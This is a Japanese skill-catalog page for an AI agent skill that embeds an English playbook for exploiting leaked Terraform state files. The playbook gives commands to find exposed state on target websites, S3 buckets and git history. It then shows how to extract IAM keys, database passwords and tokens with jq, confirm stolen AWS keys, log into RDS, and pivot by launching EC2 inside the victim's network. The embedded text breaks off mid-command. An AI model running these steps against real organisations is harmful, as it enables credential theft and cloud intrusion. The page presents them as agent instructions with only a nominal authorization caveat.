terraform-state-leak
できること
このスキルは、インフラの詳細と時には平文のシークレットを記録するTerraformの状態ファイルを扱います。ストレージ、Webサイト、コードのリポジトリで露出していないかを確認するチーム向けです。
使う場面
- ✓Terraformの状態ファイルがクラウドストレージで公開されて読めるかを確認したいとき。
- ✓コミットされたリポジトリに、シークレットを含む状態ファイルがないかを確認するとき。
- ✓認可されたテストで、インフラの状態がWebサイトで露出していないかを確認したいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“当社の会社のTerraform状態ファイルが、Webやクラウドストレージで公開されていないかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、よくあるファイルの場所とストレージの設定を確認し、存在する露出と、それが明かしうるシークレットを報告します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Terraform State Leak Exploitation
Terraform's terraform.tfstate file is a plaintext JSON map of every
resource Terraform manages, including:
- IAM access keys / secret keys
- Database passwords (RDS, ElastiCache, etc.)
- API tokens passed in as variables
- TLS private keys
- Resource IDs / ARNs / topology (great for follow-on attacks)
Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:
- S3 bucket with
public-readACL - S3 bucket with overly permissive policy
terraform.tfstatein a public Git repo (commit history!)- Backup
terraform.tfstate.backupleft in webroot - Jenkins workspace / GH Actions artifact exposing state
1. Discover exposed state files
Web-exposed:
# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
'/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
'/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
echo "FOUND: $TARGET$path"
done
# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
-x tfstate,tfstate.backup,tfstate.json
S3-direct:
# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'
# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
"tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done
Git-history:
# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository
# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200
2. Parse the state
# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate
# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
select(.key | test("password|secret|token|key|credential"; "i")) |
"\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt
# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[] | .attributes |
"\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate
# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
/tmp/state.tfstate
# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
.value' /tmp/state.tfstate
# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
.instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate
Decepticon ingest:
tfstate_audit("/tmp/state.tfstate")
3. Topology gold-mine
Beyond raw secrets, the state reveals:
- VPC IDs / subnet IDs / security group IDs / NACL rules
- Route 53 zones + internal DNS names
- All resource ARNs (good for IAM policy targeting later)
- Tags revealing org structure (environment, owner, cost-center)
- KMS key ARNs and aliases
- Lambda function code locations
- ECS task definitions / cluster names
- RDS endpoints + which security group / VPC
This data alone is high-value recon for a follow-on engagement.
4. Validate IAM keys
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service
Pivot to aws-iam-enum/SKILL.md for privesc from here.
5. RDS pivot
With password from state:
ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)
# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER # PGPASSWORD from state
If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.
6. Promote
kg_add_node(kin
よくある質問
なぜ状態ファイルはそれほど機微なのですか?
アクセスキー、データベースのパスワード、リソースの詳細を含みうる平文のJSONだからです。
漏えいはどこから起きることが多いですか?
公開されたストレージのバケット、コミットされたリポジトリ、バックアップファイル、CIのビルド成果物です。
状態はどう保管すべきですか?
暗号化して保存すべきだとガイドは述べており、例として鍵サービスで保護されたクラウドのバケットを挙げています。
詳細
作者による元の説明
Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14003
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。